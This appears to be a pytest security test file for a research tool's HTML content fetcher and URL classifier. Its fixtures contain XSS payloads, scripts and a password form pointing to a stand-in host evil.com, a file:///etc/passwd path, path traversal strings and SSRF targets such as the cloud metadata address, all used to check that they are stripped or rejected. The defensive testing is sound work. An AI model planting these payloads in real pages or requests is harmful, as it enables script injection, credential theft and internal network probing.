learningcircuit--local-deep…/tests/content_fetcher/test_security.py

"""
Security tests for content fetcher.

Tests for XSS prevention, malicious content handling, and safe URL processing.
"""

from unittest.mock import MagicMock, patch

from local_deep_research.research_library.downloaders.html import HTMLDownloader
from local_deep_research.content_fetcher import ContentFetcher
from local_deep_research.content_fetcher.url_classifier import (
    URLClassifier,
    URLType,
)


class TestHTMLDownloaderSecurity:
    """Security tests for HTML downloader."""

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_script_tags_removed(self, mock_fetch):
        """Test that script tags are removed from content."""
        malicious_html = """
        <html>
        <head><title>Test</title></head>
        <body>
            <article>
                <p>Safe content here that should be included in the extracted text output.</p>
                <script>alert('XSS')</script>
                <script src="https://evil.com/malware.js"></script>
                <p>More safe content that should also appear in the final output.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = malicious_html

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "<script>" not in result
        assert "alert(" not in result
        assert "evil.com" not in result
        assert "Safe content" in result

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_inline_javascript_removed(self, mock_fetch):
        """Test that inline JavaScript event handlers are not in extracted text."""
        malicious_html = """
        <html>
        <body>
            <article>
                <p onclick="stealCookies()">Click me and see the content here.</p>
                <a href="javascript:void(0)" onmouseover="evil()">Link text here</a>
                <p>Another paragraph with enough content.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = malicious_html

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        # The text extraction should just get the text, not attributes
        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "stealCookies" not in result
        assert "javascript:" not in result
        assert "onmouseover" not in result

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_iframe_removed(self, mock_fetch):
        """Test that iframes are removed."""
        html_with_iframe = """
        <html>
        <body>
            <article>
                <p>Article content that should be included in the output.</p>
                <iframe src="https://malicious.com/phishing"></iframe>
                <iframe srcdoc="<script>evil()</script>"></iframe>
                <p>More article content for the reader.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html_with_iframe

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "iframe" not in result.lower()
        assert "malicious.com" not in result
        assert "phishing" not in result

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_form_elements_removed(self, mock_fetch):
        """Test that form elements are removed (prevent phishing)."""
        html_with_form = """
        <html>
        <body>
            <article>
                <p>Please enter your credentials in the form below:</p>
                <form action="https://evil.com/steal">
                    <input type="password" name="password">
                    <button type="submit">Login</button>
                </form>
                <p>This is additional content after the form element.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html_with_form

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "<form" not in result
        assert "<input" not in result
        assert "evil.com" not in result

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_svg_with_scripts_removed(self, mock_fetch):
        """Test that SVG elements (which can contain scripts) are removed."""
        html_with_svg = """
        <html>
        <body>
            <article>
                <p>Content before SVG element with additional text.</p>
                <svg onload="evil()">
                    <script>alert('XSS')</script>
                </svg>
                <p>Content after SVG element with additional text.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html_with_svg

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "<svg" not in result
        assert "onload" not in result
        assert "Content before SVG" in result or "Content after SVG" in result

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_style_tags_removed(self, mock_fetch):
        """Test that style tags are removed."""
        html_with_style = """
        <html>
        <head>
            <style>
                body { background: url('javascript:evil()'); }
            </style>
        </head>
        <body>
            <article>
                <p>Article content that should be extracted properly.</p>
                <style>@import url('https://evil.com/tracker.css');</style>
                <p>More article content for testing the output.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html_with_style

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        assert "<style" not in result
        assert "javascript:" not in result
        assert "evil.com" not in result


class TestURLClassifierSecurity:
    """Security tests for URL classifier."""

    def test_javascript_url_rejected(self):
        """Test that javascript: URLs are classified as INVALID (security)."""
        url = "javascript:alert('XSS')"
        url_type = URLClassifier.classify(url)
        # Should be rejected as invalid for security
        assert url_type == URLType.INVALID

    def test_data_url_rejected(self):
        """Test that data: URLs are classified as INVALID (security)."""
        url = "data:text/html,<script>alert('XSS')</script>"
        url_type = URLClassifier.classify(url)
        # Should be rejected as invalid for security
        assert url_type == URLType.INVALID

    def test_file_url_classified(self):
        """Test that file: URLs are classified as INVALID (security)."""
        url = "file:///etc/passwd"
        url_type = URLClassifier.classify(url)
        # Should be rejected as invalid for security
        assert url_type == URLType.INVALID

    def test_url_with_credentials(self):
        """Test URL with embedded credentials."""
        url = "https://user:password@example.com/article"
        url_type = URLClassifier.classify(url)
        # Should still classify normally
        assert url_type == URLType.HTML

    def test_url_with_special_characters(self):
        """Test URL with special characters that could cause issues."""
        urls = [
            "https://example.com/<script>alert(1)</script>",
            "https://example.com/page?q=<img src=x onerror=alert(1)>",
            "https://example.com/path/../../../etc/passwd",
            "https://example.com/page\x00nullbyte",
        ]
        for url in urls:
            # Should not crash
            url_type = URLClassifier.classify(url)
            assert url_type is not None

    def test_very_long_url(self):
        """Test handling of very long URLs."""
        long_url = "https://example.com/" + "a" * 10000
        # Should not crash or hang
        url_type = URLClassifier.classify(long_url)
        assert url_type == URLType.HTML


class TestContentFetcherSecurity:
    """Security tests for content fetcher."""

    @patch(
        "local_deep_research.content_fetcher.fetcher.ContentFetcher._get_downloader"
    )
    def test_content_size_limit(self, mock_get_downloader):
        """Test that very large content is truncated."""
        # 100MB of content
        huge_content = "A" * (100 * 1024 * 1024)

        mock_downloader = MagicMock()
        mock_downloader.download_with_result.return_value = MagicMock(
            content=huge_content.encode("utf-8"),
            is_success=True,
        )
        mock_downloader.get_metadata.return_value = {}
        mock_get_downloader.return_value = mock_downloader

        fetcher = ContentFetcher()
        result = fetcher.fetch("https://example.com/huge", max_length=10000)

        assert result["status"] == "success"
        assert (
            len(result["content"]) <= 11000
        )  # max_length + truncation message

    def test_no_ssrf_via_url_classification(self):
        """Test that URL classification doesn't make network requests."""
        # These URLs should be classified without making any network requests
        dangerous_urls = [
            "http://169.254.169.254/latest/meta-data/",  # AWS metadata
            "http://localhost:6379/",  # Redis
            "http://127.0.0.1:22/",  # SSH
            "http://[::1]/admin",  # IPv6 localhost
            "http://0.0.0.0/",  # All interfaces
        ]

        for url in dangerous_urls:
            # Classification should work without network access
            url_type = URLClassifier.classify(url)
            assert url_type is not None


class TestHTMLExtractionSafety:
    """Test safe text extraction from HTML."""

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_null_bytes_handled(self, mock_fetch):
        """Test handling of null bytes in content."""
        html_with_nulls = """
        <html>
        <body>
            <article>
                <p>Content with\x00null\x00bytes and more text here.</p>
                <p>Additional paragraph with enough content to pass.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html_with_nulls

        downloader = HTMLDownloader()
        # Should not crash
        result_bytes = downloader.download("https://example.com/page")
        # Result should be clean
        assert result_bytes is None or isinstance(result_bytes, bytes)

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_deeply_nested_html(self, mock_fetch):
        """Test handling of deeply nested HTML (potential DoS)."""
        # Create deeply nested HTML with content
        depth = 100  # Reduced from 1000 for reasonable test time
        nested = (
            "<div>" * depth
            + "<p>Deeply nested content that should still be extracted properly.</p>"
            + "</div>" * depth
        )
        html = f"<html><body><article>{nested}</article></body></html>"

        mock_fetch.return_value = html

        downloader = HTMLDownloader()
        # Should not crash or hang
        result_bytes = downloader.download("https://example.com/page")
        # BeautifulSoup should handle this gracefully
        assert result_bytes is None or isinstance(result_bytes, bytes)

    @patch(
        "local_deep_research.research_library.downloaders.html.HTMLDownloader._fetch_html"
    )
    def test_html_entity_decoding(self, mock_fetch):
        """Test that HTML entities are properly decoded."""
        html = """
        <html>
        <body>
            <article>
                <p>This is an article about HTML entities: &lt;script&gt;alert('XSS')&lt;/script&gt;</p>
                <p>Special characters: &amp;amp; &quot;quotes&quot; &apos;apostrophes&apos; are handled.</p>
            </article>
        </body>
        </html>
        """
        mock_fetch.return_value = html

        downloader = HTMLDownloader()
        result_bytes = downloader.download("https://example.com/page")

        assert result_bytes is not None
        result = result_bytes.decode("utf-8")
        # Entities should be decoded to text, not executed
        assert "<script>" in result or "&lt;script&gt;" in result
        assert "alert" in result  # The text content, not executed


class TestInputValidation:
    """Test input validation."""

    def test_url_classifier_handles_none(self):
        """Test URL classifier handles None gracefully."""
        # This might raise an exception, which is acceptable
        try:
            result = URLClassifier.classify(None)
            # If it doesn't raise, it should return a valid type
            assert result in URLType
        except (TypeError, AttributeError):
            # Expected behavior
            pass

    def test_content_fetcher_validates_timeout(self):
        """Test that content fetcher accepts valid timeout values."""
        # Valid timeouts
        fetcher1 = ContentFetcher(timeout=30)
        assert fetcher1.timeout == 30

        fetcher2 = ContentFetcher(timeout=1)
        assert fetcher2.timeout == 1

        fetcher3 = ContentFetcher(timeout=300)
        assert fetcher3.timeout == 300


class TestDownloaderEgressPolicy:
    """The ContentFetcher must relax a downloader's SafeSession to allow
    private IPs under PRIVATE_ONLY, matching policy_aware_validate_url — else
    a private/lab URL the policy already approved is rejected by the
    downloader's own strict SSRF re-validation (R3-14)."""

    @staticmethod
    def _ctx(scope):
        from local_deep_research.security.egress.policy import (
            EgressContext,
            EgressScope,
        )

        return EgressContext(
            scope=getattr(EgressScope, scope),
            primary_engine="x",
            require_local_llm=False,
            require_local_embeddings=False,
        )

    @staticmethod
    def _fake_downloader():
        from local_deep_research.security.safe_requests import SafeSession

        class _DL:
            def __init__(self):
                self.session = SafeSession()

        return _DL()

    def test_private_only_relaxes_downloader_session(self):
        cf = ContentFetcher(egress_context=self._ctx("PRIVATE_ONLY"))
        dl = self._fake_downloader()
        cf._apply_egress_policy_to_downloader(dl)
        assert dl.session.allow_private_ips is True

    def test_public_only_keeps_downloader_strict(self):
        cf = ContentFetcher(egress_context=self._ctx("PUBLIC_ONLY"))
        dl = self._fake_downloader()
        cf._apply_egress_policy_to_downloader(dl)
        assert dl.session.allow_private_ips is False

    def test_no_context_keeps_downloader_strict(self):
        cf = ContentFetcher(egress_context=None)
        dl = self._fake_downloader()
        cf._apply_egress_policy_to_downloader(dl)
        assert dl.session.allow_private_ips is False

    def test_downloader_without_session_is_safe(self):
        """A downloader lacking a .session attribute must not raise."""
        cf = ContentFetcher(egress_context=self._ctx("PRIVATE_ONLY"))

        class _NoSession:
            pass

        cf._apply_egress_policy_to_downloader(_NoSession())  # must not raise